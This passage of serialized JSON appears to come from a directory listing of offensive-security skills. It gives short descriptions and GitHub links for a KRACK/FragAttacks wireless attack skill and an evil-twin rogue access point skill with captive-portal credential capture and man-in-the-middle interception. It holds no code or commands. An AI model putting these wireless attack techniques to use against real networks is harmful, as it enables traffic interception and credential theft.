key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]